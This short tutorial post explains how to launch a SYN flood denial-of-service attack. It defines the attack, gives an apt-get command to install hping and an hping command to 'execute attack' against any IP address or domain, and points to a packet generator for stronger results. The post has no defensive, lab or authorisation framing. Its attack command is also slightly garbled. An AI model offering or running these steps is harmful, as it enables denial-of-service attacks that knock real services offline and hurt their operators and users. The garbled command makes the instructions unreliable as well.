How to make SYN flood (basic)

What is SYN flood?

A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system. (read more)

Download hping (http://www.hping.org/)

Debian / ubuntu

#sudo apt-get install hping

Use this commnad to execute attack:-

sudo hping - -faster -S <ip address or domain name>

For batter result, get ethernet packet generator ( http://packeth.sourceforge.net/)